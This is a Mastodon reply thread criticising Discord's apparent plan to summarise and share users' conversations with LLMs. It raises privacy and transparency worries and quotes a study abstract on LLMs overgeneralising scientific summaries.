@mcc

They literally just said "a conversation is a shareable object." Yikes.

@mcc I trust them not at all to make transparent decisions on this.

But at least they admit their current UI/UX for back-n-forth text threads with multiple people is bad.

This is a potential silver lining of AI: it tricks non-transparent people into transparency. How else would Discord go around announcing how bad their product is in this regard.

@mcc The nice thing about Mastodon is that your words are being fed into a large language model, but mastodon.social isn't doing that on purpose.

... mastodon.social being open and scrapable is doing that instead. 😉

@mcc

They already do this internally but don't show it in the official client. Third party clients like Dissent do show summaries of the conversations, so they definitely already exist.

@mcc

Love to have a "poorly structured shareable object" with my friends; it's a great way to spend a couple hours. /sarcasm

A conversation is for its participants, not for "sharing" with random strangers.

@mcc and, of course, as of now, LLMs are not particularly accurate in summarisation compared to human editors.

e.g. this recent study is about summarising scientific papers:

"Artificial intelligence chatbots driven by large language models (LLMs) have the potential to increase public science literacy and support scientific research, as they can quickly summarize complex scientific information in accessible terms. However, when summarizing scientific texts, LLMs may omit details that limit the scope of research conclusions, leading to generalizations of results broader than warranted by the original study. We tested 10 prominent LLMs, including ChatGPT-4o, ChatGPT-4.5, DeepSeek, LLaMA 3.3 70B, and Claude 3.7 Sonnet, comparing 4900 LLM-generated summaries to their original scientific texts. Even when explicitly prompted for accuracy, most LLMs produced broader generalizations of scientific results than those in the original texts, with DeepSeek, ChatGPT-4o, and LLaMA 3.3 70B overgeneralizing in 26–73% of cases. In a direct comparison of LLM-generated and human-authored science summaries, LLM summaries were nearly five times more likely to contain broad generalizations (odds ratio = 4.85, 95% CI [3.06, 7.70], p < 0.001). Notably, newer models tended to perform worse in generalization accuracy than earlier ones. Our results indicate a strong bias in many widely used LLMs towards overgeneralizing scientific conclusions, posing a significant risk of large-scale misinterpretations of research findings. We highlight potential mitigation strategies, including lowering LLM temperature settings and benchmarking LLMs for generalization accuracy."

https://royalsocietypublishing.org/doi/10.1098/rsos.241776

@mcc

I would not trust an LLM to "summarize".

The LLM can make something shorter -- but to know what should be kept versus what can be omitted requires understanding and judgment that I don't think an LLM can imitate.

@mcc Last I knew, there was no way for discord users or admins to archive their chats that wasn’t an insecure 3rd party tool probably full of malware.

The idea that they’re thinking of piping our chats to an LLM when we cannot get that data ourselves is truly maddening.